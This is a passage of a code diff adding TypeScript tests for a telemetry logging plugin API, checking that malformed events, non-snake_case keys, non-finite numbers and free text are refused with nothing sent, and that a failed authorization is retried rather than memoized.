+ expect(await refusalFor({ event: 'Survey' })).toEndWith(
+ '$.telemetry.log: takes an event name, a snake_case token',
+ )
+
+ expect(
+ await refusalFor({ event: 'x', props: { 'a path': 1 } }),
+ ).toEndWith('$.telemetry.log: props: every key is a snake_case token')
+
+ expect(await refusalFor('x')).toEndWith(
+ '$.telemetry.log: takes one entry, { event, props? }',
+ )
+
+ expect(posts).toEqual([])
+ },
+ )
+
+ test(
+ 'a number that is not finite is refused, nothing sent',
+ {
+ plugins: [
+ {
+ name: 'counting',
+ register(on) {
+ on('command.run', { command: 'count' }, $ =>
+ $.telemetry.log({ event: 'x', props: { n: Number.NaN } }).then(
+ () => ({ text: 'sent' }),
+ (error: unknown) => ({ text: String(error) }),
+ ),
+ )
+ },
+ },
+ ],
+ },
+ async ($, on) => {
+ mock.env(on, {})
+
+ const posts = Fixtures.firstPartySession(on)
+
const { text } = await $.command.run({
- ...Fixtures.record(Fixtures.surveyAnswer()),
- args: '{"event":"survey_answered","props":{"note":"hello world"}}',
+ command: 'count',
+ args: '',
+ origin: { kind: 'composer' },
})
- expect(text).toContain('props.note: free text is refused')
+ expect(text).toEndWith('$.telemetry.log: props.n: a number is finite')
expect(posts).toEqual([])
},
)
+
+ test(
+ 'a failed authorize is not memoized; a retry sends',
+ { plugins: [Fixtures.recording] },
+ async ($, on) => {
+ const posts: Args<'http.fetch'>[] = []
+
+ let authorizations = 0
+
+ mock.env(on, {})
+ on('session.id', () => ({ value: 'the-session' }))
+ on('session.model', () => ({ value: 'the-model' }))
+
+ on('session.authorize', () => {
+ authorizations += 1
+
+ const isFirstAuthorization = authorizations === 1
+
+ return isFirstAuthorization
+ ? { deny: 'transient' }
+ : { value: Fixtures.BEARER }
+ })
+
+ on('http.fetch', ($, e) => {
+ posts.push(e)
+
+ return { value: Fixtures.ACCEPTED }
+ })
+
+ const first = await $.command.run(Fixtures.record({ event: 'x' }))
+ const postsAfterFirst = posts.length
+ const second = await $.command.run(Fixtures.record({ event: 'x' }))
+
+ expect(first.text).toContain('transient')
+ expect(postsAfterFirst).toBe(0)
+ expect(second.text).toBe('sent')
+ expect(posts).toHaveLength(1)
+ },
+ )
})